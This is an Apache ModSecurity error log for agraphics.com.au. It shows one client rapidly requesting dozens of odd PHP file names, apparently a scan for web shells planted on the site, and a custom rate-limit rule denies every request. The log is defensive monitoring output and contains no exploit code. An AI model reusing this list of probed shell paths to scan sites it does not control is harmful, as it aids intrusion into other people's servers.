[Sun Mar 22 19:04:15.347626 2026] [:error] [pid 51468:tid 51490] [client 51.120.72.165:43818] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "ab_Mr02TppSvA8W5CBQ-kgAAAM4"]
[Sun Mar 22 19:04:15.951611 2026] [:error] [pid 51362:tid 51411] [client 51.120.72.165:33307] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pas2.php"] [unique_id "ab_Mr8OwPm3DXzTDjUee7AAAAEo"]
[Sun Mar 22 19:04:16.723465 2026] [:error] [pid 51363:tid 51432] [client 51.120.72.165:8792] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pas2.php"] [unique_id "ab_MsFwa9x6OCTRkhl2H_gAAAIQ"]
[Sun Mar 22 19:04:17.363042 2026] [:error] [pid 51362:tid 51401] [client 51.120.72.165:35868] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pas2.php"] [unique_id "ab_MscOwPm3DXzTDjUee8gAAAEE"]
[Sun Mar 22 19:04:18.031692 2026] [:error] [pid 30166:tid 30189] [client 51.120.72.165:35843] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pas2.php"] [unique_id "ab_Msrm4_26jKMD0zy3OJwAAAU4"]
[Sun Mar 22 19:04:18.707345 2026] [:error] [pid 51363:tid 51452] [client 51.120.72.165:31667] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albin.php"] [unique_id "ab_Mslwa9x6OCTRkhl2IBAAAAJY"]
[Sun Mar 22 19:04:19.338489 2026] [:error] [pid 51363:tid 51434] [client 51.120.72.165:30593] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albin.php"] [unique_id "ab_Ms1wa9x6OCTRkhl2ICQAAAIY"]
[Sun Mar 22 19:04:20.027790 2026] [:error] [pid 30166:tid 30191] [client 51.120.72.165:9007] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albin.php"] [unique_id "ab_MtLm4_26jKMD0zy3OKwAAAVA"]
[Sun Mar 22 19:04:20.634977 2026] [:error] [pid 51362:tid 51412] [client 51.120.72.165:43826] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albin.php"] [unique_id "ab_MtMOwPm3DXzTDjUee-QAAAEs"]
[Sun Mar 22 19:04:21.421912 2026] [:error] [pid 30166:tid 30199] [client 51.120.72.165:63178] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wtiiy.php"] [unique_id "ab_Mtbm4_26jKMD0zy3OLQAAAVY"]
[Sun Mar 22 19:04:22.162934 2026] [:error] [pid 30166:tid 30200] [client 51.120.72.165:63221] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wtiiy.php"] [unique_id "ab_Mtrm4_26jKMD0zy3OMAAAAVc"]
[Sun Mar 22 19:04:23.191072 2026] [:error] [pid 51361:tid 51389] [client 51.120.72.165:54095] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wtiiy.php"] [unique_id "ab_MtxXYUsdvKC9YWpXTnQAAABE"]
[Sun Mar 22 19:04:23.961126 2026] [:error] [pid 51362:tid 51425] [client 51.120.72.165:30617] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wtiiy.php"] [unique_id "ab_Mt8OwPm3DXzTDjUefBQAAAFg"]
[Sun Mar 22 19:04:24.760327 2026] [:error] [pid 30166:tid 30171] [client 51.120.72.165:63185] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "ab_MuLm4_26jKMD0zy3ONwAAAUE"]
[Sun Mar 22 19:04:25.378879 2026] [:error] [pid 51468:tid 51485] [client 51.120.72.165:33299] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "ab_MuU2TppSvA8W5CBQ-nAAAAMk"]
[Sun Mar 22 19:04:26.010555 2026] [:error] [pid 51468:tid 51481] [client 51.120.72.165:54089] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "ab_Muk2TppSvA8W5CBQ-nQAAAMU"]
[Sun Mar 22 19:04:26.682677 2026] [:error] [pid 51468:tid 51496] [client 51.120.72.165:63203] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "ab_Muk2TppSvA8W5CBQ-oAAAANQ"]
[Sun Mar 22 19:04:27.252631 2026] [:error] [pid 51468:tid 51492] [client 51.120.72.165:54084] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/saorix1.php"] [unique_id "ab_Mu02TppSvA8W5CBQ-oQAAANA"]
[Sun Mar 22 19:04:27.841928 2026] [:error] [pid 30166:tid 30199] [client 51.120.72.165:33305] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/saorix1.php"] [unique_id "ab_Mu7m4_26jKMD0zy3OOQAAAVY"]
[Sun Mar 22 19:04:28.455726 2026] [:error] [pid 30166:tid 30187] [client 51.120.72.165:30692] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/saorix1.php"] [unique_id "ab_MvLm4_26jKMD0zy3OPAAAAUw"]
[Sun Mar 22 19:04:31.615287 2026] [:error] [pid 51363:tid 51446] [client 51.120.72.165:30621] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/saorix1.php"] [unique_id "ab_Mv1wa9x6OCTRkhl2IJAAAAJA"]
[Sun Mar 22 19:04:36.560446 2026] [:error] [pid 51362:tid 51421] [client 51.120.72.165:48636] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wta.php"] [unique_id "ab_MxMOwPm3DXzTDjUefFwAAAFQ"]
[Sun Mar 22 19:04:37.147499 2026] [:error] [pid 51362:tid 51401] [client 51.120.72.165:54138] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wta.php"] [unique_id "ab_MxcOwPm3DXzTDjUefHAAAAEE"]
[Sun Mar 22 19:04:37.834326 2026] [:error] [pid 30166:tid 30187] [client 51.120.72.165:48605] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wta.php"] [unique_id "ab_Mxbm4_26jKMD0zy3OSgAAAUw"]
[Sun Mar 22 19:04:38.426626 2026] [:error] [pid 30166:tid 30190] [client 51.120.72.165:8348] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wta.php"] [unique_id "ab_Mxrm4_26jKMD0zy3OTQAAAU8"]
[Sun Mar 22 19:04:39.264553 2026] [:error] [pid 30166:tid 30175] [client 51.120.72.165:59849] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/privacy.php"] [unique_id "ab_Mx7m4_26jKMD0zy3OUAAAAUQ"]
[Sun Mar 22 19:04:40.035635 2026] [:error] [pid 51362:tid 51411] [client 51.120.72.165:30597] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/privacy.php"] [unique_id "ab_MyMOwPm3DXzTDjUefJQAAAEo"]
[Sun Mar 22 19:04:40.660112 2026] [:error] [pid 30166:tid 30197] [client 51.120.72.165:30698] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/privacy.php"] [unique_id "ab_MyLm4_26jKMD0zy3OVQAAAVQ"]
[Sun Mar 22 19:04:42.114110 2026] [:error] [pid 51468:tid 51491] [client 51.120.72.165:8347] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/privacy.php"] [unique_id "ab_Myk2TppSvA8W5CBQ-ugAAAM8"]
[Sun Mar 22 19:04:43.370001 2026] [:error] [pid 51363:tid 51453] [client 51.120.72.165:37941] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws77.php"] [unique_id "ab_My1wa9x6OCTRkhl2INQAAAJc"]
[Sun Mar 22 19:04:44.063506 2026] [:error] [pid 51363:tid 51443] [client 51.120.72.165:43813] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws77.php"] [unique_id "ab_MzFwa9x6OCTRkhl2IOQAAAI4"]
[Sun Mar 22 19:04:44.612840 2026] [:error] [pid 40039:tid 40042] [client 51.120.72.165:48615] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws77.php"] [unique_id "ab_MzB3aDgUJfBYishmjmAAAAQE"]
[Sun Mar 22 19:04:45.239869 2026] [:error] [pid 40039:tid 40062] [client 51.120.72.165:33330] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws77.php"] [unique_id "ab_MzR3aDgUJfBYishmjnQAAARU"]
[Sun Mar 22 19:04:46.040830 2026] [:error] [pid 30166:tid 30185] [client 51.120.72.165:8371] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cc13.php"] [unique_id "ab_Mzrm4_26jKMD0zy3OYwAAAUo"]
[Sun Mar 22 19:04:46.831540 2026] [:error] [pid 30166:tid 30191] [client 51.120.72.165:43785] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cc13.php"] [unique_id "ab_Mzrm4_26jKMD0zy3OZgAAAVA"]
[Sun Mar 22 19:04:47.618621 2026] [:error] [pid 51361:tid 51397] [client 51.120.72.165:30599] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cc13.php"] [unique_id "ab_MzxXYUsdvKC9YWpXTqwAAABg"]
[Sun Mar 22 19:04:48.415659 2026] [:error] [pid 51363:tid 51446] [client 51.120.72.165:35849] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cc13.php"] [unique_id "ab_M0Fwa9x6OCTRkhl2IQAAAAJA"]
[Sun Mar 22 19:04:49.111957 2026] [:error] [pid 51362:tid 51425] [client 51.120.72.165:48632] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper1.php"] [unique_id "ab_M0cOwPm3DXzTDjUefLgAAAFg"]
[Sun Mar 22 19:04:49.699553 2026] [:error] [pid 30166:tid 30177] [client 51.120.72.165:48614] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper1.php"] [unique_id "ab_M0bm4_26jKMD0zy3ObAAAAUY"]
[Sun Mar 22 19:04:50.257738 2026] [:error] [pid 30166:tid 30201] [client 51.120.72.165:33303] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper1.php"] [unique_id "ab_M0rm4_26jKMD0zy3ObgAAAVg"]
[Sun Mar 22 19:04:50.973974 2026] [:error] [pid 51363:tid 51436] [client 51.120.72.165:59872] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xper1.php"] [unique_id "ab_M0lwa9x6OCTRkhl2ISQAAAIc"]
[Sun Mar 22 19:04:51.823084 2026] [:error] [pid 51362:tid 51418] [client 51.120.72.165:40207] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gelio1.php"] [unique_id "ab_M08OwPm3DXzTDjUefOAAAAFE"]
[Sun Mar 22 19:04:52.528018 2026] [:error] [pid 51363:tid 51441] [client 51.120.72.165:33324] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gelio1.php"] [unique_id "ab_M1Fwa9x6OCTRkhl2ITQAAAIw"]
[Sun Mar 22 19:04:53.319078 2026] [:error] [pid 51363:tid 51437] [client 51.120.72.165:37894] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gelio1.php"] [unique_id "ab_M1Vwa9x6OCTRkhl2IUwAAAIg"]
[Sun Mar 22 19:04:53.985734 2026] [:error] [pid 51363:tid 51451] [client 51.120.72.165:59851] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gelio1.php"] [unique_id "ab_M1Vwa9x6OCTRkhl2IWQAAAJU"]
[Sun Mar 22 19:04:54.601950 2026] [:error] [pid 51362:tid 51420] [client 51.120.72.165:42441] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/save.php"] [unique_id "ab_M1sOwPm3DXzTDjUefRgAAAFM"]
[Sun Mar 22 19:04:55.190056 2026] [:error] [pid 51362:tid 51424] [client 51.120.72.165:8649] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/save.php"] [unique_id "ab_M18OwPm3DXzTDjUefTAAAAFc"]
[Sun Mar 22 19:04:55.837626 2026] [:error] [pid 51362:tid 51422] [client 51.120.72.165:33306] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/save.php"] [unique_id "ab_M18OwPm3DXzTDjUefTgAAAFU"]
[Sun Mar 22 19:04:56.484051 2026] [:error] [pid 51362:tid 51416] [client 51.120.72.165:31640] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/save.php"] [unique_id "ab_M2MOwPm3DXzTDjUefUgAAAE8"]
[Sun Mar 22 19:04:57.005747 2026] [:error] [pid 51363:tid 51450] [client 51.120.72.165:33285] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "ab_M2Vwa9x6OCTRkhl2IbAAAAJQ"]
[Sun Mar 22 19:04:57.655133 2026] [:error] [pid 51362:tid 51417] [client 51.120.72.165:8365] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "ab_M2cOwPm3DXzTDjUefWAAAAFA"]
[Sun Mar 22 19:04:58.245885 2026] [:error] [pid 51468:tid 51479] [client 51.120.72.165:60468] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "ab_M2k2TppSvA8W5CBQ-zAAAAMM"]
[Sun Mar 22 19:04:58.819807 2026] [:error] [pid 51468:tid 51495] [client 51.120.72.165:59168] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "ab_M2k2TppSvA8W5CBQ-zwAAANM"]
[Sun Mar 22 19:04:59.426345 2026] [:error] [pid 51468:tid 51478] [client 51.120.72.165:40222] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/roter.php"] [unique_id "ab_M202TppSvA8W5CBQ-0QAAAMI"]
[Sun Mar 22 19:05:00.008911 2026] [:error] [pid 51363:tid 51454] [client 51.120.72.165:8334] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/roter.php"] [unique_id "ab_M3Fwa9x6OCTRkhl2IegAAAJg"]
[Sun Mar 22 19:05:00.563631 2026] [:error] [pid 51363:tid 51430] [client 51.120.72.165:33311] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/roter.php"] [unique_id "ab_M3Fwa9x6OCTRkhl2IfwAAAII"]
